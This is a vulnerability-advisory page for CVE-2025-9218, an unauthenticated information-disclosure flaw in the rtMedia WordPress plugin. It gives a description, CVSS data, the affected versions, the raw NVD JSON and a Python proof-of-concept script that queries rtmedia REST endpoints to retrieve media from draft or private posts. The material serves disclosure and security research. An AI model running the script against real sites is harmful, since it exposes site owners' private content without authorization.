Security Vulnerability Report
中文
CVE-2025-9218 CVSS 3.7 LOW

CVE-2025-9218

Published: 2025-12-13 16:16:57
Last Modified: 2026-04-15 00:35:42

Description

The rtMedia for WordPress, BuddyPress and bbPress plugin for WordPress is vulnerable to to Information Disclosure due to missing authorization in the handle_rest_pre_dispatch() function when the Godam plugin is active, in versions 4.7.0 to 4.7.3. This makes it possible for unauthenticated attackers to retrieve media items associated with draft or private posts.

CVSS Details

CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

rtMedia for WordPress, BuddyPress and bbPress plugin 4.7.0
rtMedia for WordPress, BuddyPress and bbPress plugin 4.7.1
rtMedia for WordPress, BuddyPress and bbPress plugin 4.7.2
rtMedia for WordPress, BuddyPress and bbPress plugin 4.7.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys def check_cve_2025_9218(target_url, media_id=None, post_id=None): """ CVE-2025-9218 PoC - rtMedia Information Disclosure Requirements: Godam plugin must be active """ # Target must have rtMedia plugin installed (versions 4.7.0-4.7.3) # Target must have Godam plugin active endpoints = [ f"{target_url}/wp-json/rtmedia/v1/media/{media_id if media_id else '1'}", f"{target_url}/wp-json/rtmedia/v1/album/1", f"{target_url}/wp-json/rtmedia/v1/media/?post_id={post_id if post_id else '999'}" ] for endpoint in endpoints: try: print(f"[*] Testing endpoint: {endpoint}") response = requests.get(endpoint, timeout=10, verify=False) if response.status_code == 200: data = response.json() if data and len(data) > 0: print(f"[!] VULNERABLE! Media items leaked:") print(f"[+] Response: {data}") return True elif response.status_code == 401 or response.status_code == 403: print(f"[-] Protected (expected behavior)") else: print(f"[-] Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-9218.py <target_url> [media_id] [post_id]") print("Example: python cve-2025-9218.py https://example.com 123") sys.exit(1) target = sys.argv[1] media_id = sys.argv[2] if len(sys.argv) > 2 else None post_id = sys.argv[3] if len(sys.argv) > 3 else None check_cve_2025_9218(target, media_id, post_id)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9218", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:57.000", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The rtMedia for WordPress, BuddyPress and bbPress plugin for WordPress is vulnerable to to Information Disclosure due to missing authorization in the handle_rest_pre_dispatch() function when the Godam plugin is active, in versions 4.7.0 to 4.7.3. This makes it possible for unauthenticated attackers to retrieve media items associated with draft or private posts."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3386907/buddypress-media/tags/4.7.4/app/main/controllers/api/RTMediaJsonApi.php", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/buddypress-media/#developers", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/68533b4c-1bdf-4104-a263-757b018af129?source=cve", "source": "[email protected]"}]}}